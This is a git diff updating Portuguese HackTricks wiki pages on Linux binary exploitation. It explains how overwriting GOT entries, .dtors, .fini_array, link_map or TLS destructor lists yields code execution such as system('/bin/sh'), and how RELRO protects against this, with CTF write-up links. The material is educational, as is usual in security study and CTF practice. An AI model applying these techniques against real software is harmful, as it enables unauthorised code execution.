Em CTFs de exploração de heap, é comum poder controlar o conteúdo de chunks e, em algum momento, até mesmo sobrescrever a tabela GOT. Um truque simples para obter RCE se um gadget não estiver disponível é sobrescrever o endereço GOT do `free` para apontar para `system` e escrever dentro de um chunk `"/bin/sh"`. Dessa forma, quando esse chunk for liberado, ele executará `system("/bin/sh")`.
|
Em explorações de heap em CTFs, é comum conseguir controlar o conteúdo de chunks e em algum momento até sobrescrever a tabela GOT. Um truque simples para obter RCE se gadgets não estiverem disponíveis é sobrescrever o endereço GOT de `free` para apontar para `system` e escrever dentro de um chunk `"/bin/sh"`. Dessa forma, quando esse chunk for liberado, ele executará `system("/bin/sh")`.
|
||||||
|
|
||||||
### **Strlen2system**
|
### **Strlen2system**
|
||||||
|
|
||||||
Outra técnica comum é sobrescrever o endereço **`strlen`** da GOT para apontar para **`system`**, então se esta função for chamada com entrada do usuário é possível passar a string `"/bin/sh"` e obter um shell.
|
Outra técnica comum é sobrescrever o endereço GOT de **`strlen`** para apontar para **`system`**, então se essa função for chamada com entrada do usuário, é possível passar a string `"/bin/sh"` e obter um shell.
|
||||||
|
|
||||||
Além disso, se `puts` for usado com entrada do usuário, é possível sobrescrever o endereço da `strlen` GOT para apontar para `system` e passar a string `"/bin/sh"` para obter um shell, pois **`puts` chamará `strlen` com a entrada do usuário**.
|
Além disso, se `puts` for usado com entrada do usuário, é possível sobrescrever o endereço GOT de `strlen` para apontar para `system` e passar a string `"/bin/sh"` para obter um shell porque **`puts` chamará `strlen` com a entrada do usuário**.
|
||||||
|
|
||||||
## **One Gadget**
|
## **One Gadget**
|
||||||
|
|
||||||
|
@ -81,13 +81,14 @@ Além disso, se `puts` for usado com entrada do usuário, é possível sobrescre
|
||||||
|
|
||||||
## **Abusando da GOT do Heap**
|
## **Abusando da GOT do Heap**
|
||||||
|
|
||||||
Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para ser possível adicionar parte da tabela GOT ao fast bin, então sempre que esse chunk for alocado será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
|
Uma maneira comum de obter RCE a partir de uma vulnerabilidade de heap é abusar de um fastbin para que seja possível adicionar a parte da tabela GOT no fast bin, assim sempre que esse chunk for alocado será possível **sobrescrever o ponteiro de uma função, geralmente `free`**.\
|
||||||
Em seguida, apontar `free` para `system` e liberar um chunk onde foi escrito `/bin/sh\x00` executará um shell.
|
Então, apontando `free` para `system` e liberando um chunk onde foi escrito `/bin/sh\x00` executará um shell.
|
||||||
|
|
||||||
É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
|
É possível encontrar um [**exemplo aqui**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/chunk\_extend\_overlapping/#hitcon-trainging-lab13)**.**
|
||||||
|
|
||||||
## **Proteções**
|
## **Proteções**
|
||||||
|
|
||||||
A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica, resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** depois disso:
|
A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica resolvendo todos os endereços das funções quando o binário é iniciado e tornando a **tabela GOT somente leitura** após isso:
|
||||||
|
|
||||||
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
{% content-ref url="../common-binary-protections-and-bypasses/relro.md" %}
|
||||||
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
[relro.md](../common-binary-protections-and-bypasses/relro.md)
|
||||||
|
@ -99,16 +100,16 @@ A proteção **Full RELRO** é destinada a proteger contra esse tipo de técnica
|
||||||
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
* [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,16 +1,16 @@
|
||||||
# WWW2Exec - .dtors & .fini\_array
|
# WWW2Exec - .dtors & .fini\_array
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Suporte ao HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -18,26 +18,26 @@ Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
||||||
## .dtors
|
## .dtors
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Atualmente é muito **estranho encontrar um binário com uma seção .dtors!**
|
Hoje em dia é muito **estranho encontrar um binário com uma seção .dtors!**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Os destrutores são funções que são **executadas antes do programa terminar** (após o retorno da função `main`).\
|
Os destructors são funções que são **executadas antes do programa terminar** (após a função `main` retornar).\
|
||||||
Os endereços dessas funções são armazenados dentro da seção **`.dtors`** do binário e, portanto, se você conseguir **escrever** o **endereço** de um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes do programa terminar.
|
Os endereços dessas funções são armazenados dentro da seção **`.dtors`** do binário e, portanto, se você conseguir **escrever** o **endereço** para um **shellcode** em **`__DTOR_END__`**, isso será **executado** antes que o programa termine.
|
||||||
|
|
||||||
Obtenha o endereço desta seção com:
|
Obtenha o endereço desta seção com:
|
||||||
```bash
|
```bash
|
||||||
objdump -s -j .dtors /exec
|
objdump -s -j .dtors /exec
|
||||||
rabin -s /exec | grep “__DTOR”
|
rabin -s /exec | grep “__DTOR”
|
||||||
```
|
```
|
||||||
Normalmente você encontrará os marcadores **DTOR** **entre** os valores `ffffffff` e `00000000`. Portanto, se você apenas ver esses valores, significa que **não há nenhuma função registrada**. Então, **sobrescreva** o **`00000000`** com o **endereço** do **shellcode** para executá-lo.
|
Geralmente, você encontrará os marcadores **DTOR** **entre** os valores `ffffffff` e `00000000`. Então, se você apenas ver esses valores, isso significa que **não há nenhuma função registrada**. Portanto, **sobrescreva** o **`00000000`** com o **endereço** para o **shellcode** para executá-lo.
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Claro, primeiro você precisa encontrar um **local para armazenar o shellcode** para depois chamá-lo.
|
Claro, você primeiro precisa encontrar um **lugar para armazenar o shellcode** para depois chamá-lo.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **.fini\_array**
|
## **.fini\_array**
|
||||||
|
|
||||||
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar, como **`.dtors`**. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos em que você precisa voltar para o `main` novamente para **explorar a vulnerabilidade uma segunda vez**.
|
Essencialmente, esta é uma estrutura com **funções que serão chamadas** antes do programa terminar, como **`.dtors`**. Isso é interessante se você puder chamar seu **shellcode apenas pulando para um endereço**, ou em casos onde você precisa voltar para **`main`** novamente para **explorar a vulnerabilidade uma segunda vez**.
|
||||||
```bash
|
```bash
|
||||||
objdump -s -j .fini_array ./greeting
|
objdump -s -j .fini_array ./greeting
|
||||||
|
|
||||||
|
@ -48,34 +48,35 @@ Contents of section .fini_array:
|
||||||
|
|
||||||
#Put your address in 0x8049934
|
#Put your address in 0x8049934
|
||||||
```
|
```
|
||||||
Note que quando uma função do **`.fini_array`** é executada, ela passa para a próxima, então não será executada várias vezes (evitando loops eternos), mas também só lhe dará 1 **execução da função** colocada aqui.
|
Note que quando uma função do **`.fini_array`** é executada, ela passa para a próxima, então não será executada várias vezes (prevenindo loops eternos), mas também só dará 1 **execução da função** colocada aqui.
|
||||||
|
|
||||||
Note que as entradas em `.fini_array` são chamadas em ordem **inversa**, então provavelmente você quer começar a escrever a partir da última.
|
Note que as entradas em **`.fini_array`** são chamadas em **ordem reversa**, então você provavelmente quer começar a escrever a partir da última.
|
||||||
|
|
||||||
#### Loop eterno
|
#### Loop eterno
|
||||||
|
|
||||||
Para abusar do **`.fini_array`** e obter um loop eterno, você pode [**ver o que foi feito aqui**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Se você tiver pelo menos 2 entradas em **`.fini_array`**, você pode:
|
Para abusar do **`.fini_array`** e obter um loop eterno, você pode [**ver o que foi feito aqui**](https://guyinatuxedo.github.io/17-stack\_pivot/insomnihack18\_onewrite/index.html)**:** Se você tiver pelo menos 2 entradas em **`.fini_array`**, você pode:
|
||||||
|
|
||||||
* Use sua primeira escrita para **chamar a função de escrita arbitrária vulnerável** novamente
|
* Usar sua primeira escrita para **chamar a função vulnerável de escrita arbitrária** novamente
|
||||||
* Em seguida, calcule o endereço de retorno na pilha armazenado por **`__libc_csu_fini`** (a função que está chamando todas as funções `.fini_array`) e coloque lá o **endereço de `__libc_csu_fini`**
|
* Em seguida, calcular o endereço de retorno na pilha armazenado por **`__libc_csu_fini`** (a função que está chamando todas as funções de `.fini_array`) e colocar lá o **endereço de `__libc_csu_fini`**
|
||||||
* Isso fará com que **`__libc_csu_fini`** chame a si mesmo novamente executando as funções **`.fini_array`** novamente, o que chamará a função WWW vulnerável 2 vezes: uma para **escrita arbitrária** e outra para sobrescrever novamente o **endereço de retorno de `__libc_csu_fini`** na pilha para chamar a si mesmo novamente.
|
* Isso fará com que **`__libc_csu_fini`** chame a si mesmo novamente, executando as funções de **`.fini_array`** novamente, o que chamará a função WWW vulnerável 2 vezes: uma para **escrita arbitrária** e outra para sobrescrever novamente o **endereço de retorno de `__libc_csu_fini`** na pilha para chamá-la novamente.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Note que com [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** a seção **`.fini_array`** é tornada **somente leitura**.
|
Note que com [**Full RELRO**](../common-binary-protections-and-bypasses/relro.md)**,** a seção **`.fini_array`** é tornada **somente leitura**.
|
||||||
Em versões mais recentes, mesmo com [**Partial RELRO**], a seção **`.fini_array`** também é tornada **somente leitura**.
|
Em versões mais novas, mesmo com [**Partial RELRO**], a seção **`.fini_array`** também é tornada **somente leitura**.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treinamento AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treinamento GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -1,42 +1,42 @@
|
||||||
# WWW2Exec - atexit(), Armazenamento TLS e Outros Ponteiros Manipulados
|
# WWW2Exec - atexit(), Armazenamento TLS & Outros Ponteiros Emaranhados
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Aprenda e pratique Hacking na AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Aprenda e pratique Hacking no GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Treinamento HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Apoie o HackTricks</summary>
|
<summary>Support HackTricks</summary>
|
||||||
|
|
||||||
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## **Estruturas \_\_atexit**
|
## **\_\_atexit Estruturas**
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Atualmente é muito **estranho explorar isso!**
|
Hoje em dia é muito **estranho explorar isso!**
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**`atexit()`** é uma função para a qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
|
**`atexit()`** é uma função à qual **outras funções são passadas como parâmetros.** Essas **funções** serão **executadas** ao executar um **`exit()`** ou o **retorno** do **main**.\
|
||||||
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
|
Se você puder **modificar** o **endereço** de qualquer uma dessas **funções** para apontar para um shellcode, por exemplo, você **ganhará controle** do **processo**, mas isso atualmente é mais complicado.\
|
||||||
Atualmente os **endereços das funções** a serem executadas estão **ocultos** por várias estruturas e finalmente o endereço para o qual apontam não são os endereços das funções, mas são **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente esse vetor de ataque não é muito útil, pelo menos em x86 e x64\_86.\
|
Atualmente, os **endereços das funções** a serem executadas estão **ocultos** atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão **criptografados com XOR** e deslocamentos com uma **chave aleatória**. Portanto, atualmente, esse vetor de ataque **não é muito útil, pelo menos em x86** e **x64\_86**.\
|
||||||
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque ela **retorna o mesmo** que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
|
A **função de criptografia** é **`PTR_MANGLE`**. **Outras arquiteturas** como m68k, mips32, mips64, aarch64, arm, hppa... **não implementam a função de criptografia** porque **retornam o mesmo** que receberam como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.
|
||||||
|
|
||||||
Você pode encontrar uma explicação detalhada de como isso funciona em [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
Você pode encontrar uma explicação detalhada sobre como isso funciona em [https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html](https://m101.github.io/binholic/2017/05/20/notes-on-abusing-exit-handlers.html)
|
||||||
|
|
||||||
## link\_map
|
## link\_map
|
||||||
|
|
||||||
Como explicado [**neste post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), Se o programa sair usando `return` ou `exit()` ele executará `__run_exit_handlers()` que chamará os destruidores registrados.
|
Como explicado [**neste post**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure), se o programa sair usando `return` ou `exit()`, ele executará `__run_exit_handlers()`, que chamará os destrutores registrados.
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Se o programa sair via **função `_exit()`**, ele chamará a **chamada de sistema `exit`** e os manipuladores de saída não serão executados. Portanto, para confirmar se `__run_exit_handlers()` é executado, você pode definir um breakpoint nele.
|
Se o programa sair pela função **`_exit()`**, ele chamará a **syscall `exit`** e os manipuladores de saída não serão executados. Portanto, para confirmar que `__run_exit_handlers()` é executado, você pode definir um ponto de interrupção nele.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
O código importante é ([fonte](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
O código importante é ([source](https://elixir.bootlin.com/glibc/glibc-2.32/source/elf/dl-fini.c#L131)):
|
||||||
```c
|
```c
|
||||||
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
ElfW(Dyn) *fini_array = map->l_info[DT_FINI_ARRAY];
|
||||||
if (fini_array != NULL)
|
if (fini_array != NULL)
|
||||||
|
@ -59,14 +59,14 @@ Elf64_Xword d_val; // address of function that will be called, we put our onegad
|
||||||
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
Elf64_Addr d_ptr; // offset from l->l_addr of our structure
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Observe como `map -> l_addr + fini_array -> d_un.d_ptr` é usado para **calcular** a posição do **array de funções a serem chamadas**.
|
Note como `map -> l_addr + fini_array -> d_un.d_ptr` é usado para **calcular** a posição do **array de funções a serem chamadas**.
|
||||||
|
|
||||||
Existem **algumas opções**:
|
Existem algumas **opções**:
|
||||||
|
|
||||||
* Sobrescrever o valor de `map->l_addr` para fazê-lo apontar para um **`fini_array` falso** com instruções para executar código arbitrário
|
* Sobrescrever o valor de `map->l_addr` para fazê-lo apontar para um **falso `fini_array`** com instruções para executar código arbitrário
|
||||||
* Sobrescrever as entradas `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (que são mais ou menos consecutivas na memória), para fazer com que elas **apontem para uma estrutura `Elf64_Dyn` forjada** que fará novamente **`array` apontar para uma zona de memória** controlada pelo atacante. 
|
* Sobrescrever as entradas `l_info[DT_FINI_ARRAY]` e `l_info[DT_FINI_ARRAYSZ]` (que são mais ou menos consecutivas na memória), para fazê-las **apontar para uma estrutura `Elf64_Dyn` forjada** que fará novamente **`array` apontar para uma zona de memória** controlada pelo atacante. 
|
||||||
* [**Este artigo**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescreve `l_info[DT_FINI_ARRAY]` com o endereço de uma memória controlada em `.bss` contendo um `fini_array` falso. Este array falso contém **primeiro um** [**endereço de one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) que será executado e então a **diferença** entre o endereço deste **array falso** e o **valor de `map->l_addr`** para que `*array` aponte para o array falso.
|
* [**Este writeup**](https://github.com/nobodyisnobody/write-ups/tree/main/DanteCTF.2023/pwn/Sentence.To.Hell) sobrescreve `l_info[DT_FINI_ARRAY]` com o endereço de uma memória controlada em `.bss` contendo um falso `fini_array`. Este array falso contém **primeiro um** [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md) **endereço** que será executado e então a **diferença** entre o endereço deste **array falso** e o **valor de `map->l_addr`** para que `*array` aponte para o array falso.
|
||||||
* De acordo com a postagem principal desta técnica e [**este artigo**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet) ld.so deixa um ponteiro na pilha que aponta para o `link_map` binário em ld.so. Com uma escrita arbitrária é possível sobrescrevê-lo e fazê-lo apontar para um `fini_array` falso controlado pelo atacante com o endereço de um [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por exemplo.
|
* De acordo com o post principal desta técnica e [**este writeup**](https://activities.tjhsst.edu/csc/writeups/angstromctf-2021-wallstreet), ld.so deixa um ponteiro na pilha que aponta para o `link_map` binário em ld.so. Com uma escrita arbitrária, é possível sobrescrevê-lo e fazê-lo apontar para um falso `fini_array` controlado pelo atacante com o endereço de um [**one gadget**](../rop-return-oriented-programing/ret2lib/one-gadget.md), por exemplo.
|
||||||
|
|
||||||
Seguindo o código anterior, você pode encontrar outra seção interessante com o código:
|
Seguindo o código anterior, você pode encontrar outra seção interessante com o código:
|
||||||
```c
|
```c
|
||||||
|
@ -76,11 +76,11 @@ if (fini != NULL)
|
||||||
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
DL_CALL_DT_FINI (map, ((void *) map->l_addr + fini->d_un.d_ptr));
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Neste caso, seria possível sobrescrever o valor de `map->l_info[DT_FINI]` apontando para uma estrutura `ElfW(Dyn)` forjada. Encontre [**mais informações aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link_map-structure).
|
Neste caso, seria possível sobrescrever o valor de `map->l_info[DT_FINI]` apontando para uma estrutura `ElfW(Dyn)` forjada. Encontre [**mais informações aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#2---targetting-ldso-link\_map-structure).
|
||||||
|
|
||||||
## Sobrescrevendo a lista dtor\_list de TLS-Storage em **`__run_exit_handlers`**
|
## Sobrescrita de dtor\_list de TLS-Storage em **`__run_exit_handlers`**
|
||||||
|
|
||||||
Conforme [**explicado aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), se um programa encerra via `return` ou `exit()`, ele executará **`__run_exit_handlers()`** que chamará qualquer função de destruição registrada.
|
Como [**explicado aqui**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#5---code-execution-via-tls-storage-dtor\_list-overwrite), se um programa sair via `return` ou `exit()`, ele executará **`__run_exit_handlers()`**, que chamará qualquer função de destrutor registrada.
|
||||||
|
|
||||||
Código de `_run_exit_handlers()`:
|
Código de `_run_exit_handlers()`:
|
||||||
```c
|
```c
|
||||||
|
@ -128,24 +128,24 @@ func (cur->obj);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Para cada função registrada em **`tls_dtor_list`**, ele irá desfazer a mangled do ponteiro de **`cur->func`** e chamá-lo com o argumento **`cur->obj`**.
|
Para cada função registrada em **`tls_dtor_list`**, ele irá desmanglar o ponteiro de **`cur->func`** e chamá-lo com o argumento **`cur->obj`**.
|
||||||
|
|
||||||
Usando a função **`tls`** deste [**fork do GEF**](https://github.com/bata24/gef), é possível ver que na verdade a **`dtor_list`** está muito **próxima** do **canário de pilha** e do **cookie PTR\_MANGLE**. Portanto, com um estouro nela, seria possível **sobrescrever** o **cookie** e o **canário de pilha**.\
|
